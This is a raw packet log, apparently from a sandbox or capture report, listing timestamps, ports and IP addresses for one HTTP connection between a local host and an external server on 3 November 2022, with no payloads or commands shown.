Nov 3, 2022 12:47:18.617244005 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.617300987 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.617301941 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.617301941 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.655428886 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.655514956 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.655596018 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.655657053 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.655723095 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.655720949 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.655720949 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.655720949 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.655720949 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.655782938 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.655827999 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.655872107 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.655915976 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.655956984 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.655955076 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.655956030 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.655956030 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.655956030 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.655999899 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.656054020 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.656070948 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.656070948 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.656071901 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.656099081 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.656141043 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.656161070 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.656161070 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.656181097 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.656207085 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.656223059 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.656250000 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.656265020 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.656301022 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.656348944 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.656349897 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.656393051 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.656409979 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.656434059 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.656452894 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.656492949 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.694689035 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.694757938 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.694803953 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.694844961 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.694875956 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.694875956 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.694875956 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.694926023 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.694969893 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.694981098 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.695002079 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.695012093 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.695054054 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.695096016 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.695101976 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.695101976 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.695122957 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.695141077 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.695183992 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.695203066 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.695225000 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.695226908 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.695226908 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.695266962 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.695271969 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.695308924 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.695322990 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.695350885 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.695368052 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.695393085 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.695404053 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.695435047 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.695444107 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.695477962 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.695492029 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.695519924 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.695519924 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.695561886 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.695564032 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.695604086 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.695620060 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.695652008 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.695661068 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.695693970 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.695702076 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.695734978 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.695749044 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.695775986 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.695781946 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.695818901 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.695826054 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.695863008 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.695889950 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.695909023 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.695950985 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.695954084 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.695993900 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.696007013 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.696007013 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.696037054 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.696050882 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.696079016 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.696096897 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.696120977 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.696130037 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.696162939 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.696182013 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.696208000 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.696233988 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.696250916 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.696291924 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.696309090 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.696309090 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.696332932 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.696343899 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.696376085 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.696388006 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.696419001 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.696429968 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.696501970 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.735290051 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.735408068 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.735454082 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.735498905 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.735500097 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.735500097 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.735543013 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.735557079 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.735557079 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.735585928 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.735609055 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.735630989 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.735634089 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.735675097 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.735677958 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.735721111 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.735719919 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.735764027 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.735765934 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.735806942 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.735811949 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.735850096 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.735855103 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.735898018 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.735939026 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.735960007 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.735960007 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.735982895 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.735992908 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.736026049 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.736037016 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.736069918 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.736076117 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.736115932 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.736124039 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.736159086 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.736170053 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.736208916 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.736218929 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.736272097 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.736284971 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.736331940 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.736347914 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.736377001 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.736385107 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.736419916 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.736428976 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.736469984 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.736476898 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.736529112 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.736536026 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.736593008 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.736601114 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.736644983 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.736646891 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.736690998 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.736696959 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.736748934 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.736757040 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.736807108 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.736820936 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.736850023 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.736860037 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.736902952 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.736922979 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.736980915 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.736989021 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.737040997 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.737051964 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.737086058 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.737097025 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.737129927 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.737150908 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.737178087 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.737204075 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.737224102 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.737224102 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.737267971 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.737278938 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.737312078 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.737317085 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.737355947 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.737361908 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.737400055 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.737409115 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.737442970 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.737451077 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.737487078 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.737493992 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.737529993 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.737565994 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.737598896 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.737642050 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.737648964 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.737685919 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.737689972 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.737714052 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.737732887 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.737746954 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.737776995 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.737787962 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.737819910 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.737827063 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.737864017 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.737869978 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.737911940 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.737911940 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.737957001 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.737984896 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.737999916 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.738012075 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.738043070 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.738055944 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.738085985 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.738097906 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.738131046 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.738140106 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.738173962 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.738184929 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.738219976 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.738262892 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.738310099 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.738354921 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.738399982 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.738363028 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.738444090 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.738486052 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.738528967 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.738363028 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.738363028 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.738571882 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.738595009 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.738595009 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.738595009 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.738595009 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.738595009 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.738595009 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.738616943 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.738661051 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.738666058 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.738679886 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.738707066 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.738727093 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.738749027 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.738765001 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.738791943 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.738809109 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.738836050 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.738848925 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.738913059 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.738922119 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.738989115 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.738991022 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.739042997 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.739046097 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.739085913 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.739110947 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.739152908 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.777196884 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.777235985 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.777302980 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.777349949 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.777362108 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.777378082 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.777404070 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.777420044 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.777420044 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.777431965 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.777445078 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.777457952 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.777461052 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.777483940 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.777497053 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.777509928 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.777515888 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.777535915 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.777550936 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.777559996 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.777565956 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.777585983 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.777600050 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.777612925 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.777636051 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.777637005 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.777636051 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.777662992 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.777678013 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.777694941 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.777712107 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.777720928 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.777729988 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.777746916 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.777759075 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.777772903 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.777779102 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.777798891 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.777802944 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.777826071 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.777836084 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.777853966 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.777856112 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.777880907 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.777888060 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.777905941 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.777905941 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.777945042 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.777961969 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.778234005 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.778263092 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.778287888 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.778296947 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.778315067 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.778328896 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.778352022 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.778366089 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.778384924 CET	49708	80	192.168.2.6	95.217.246.41
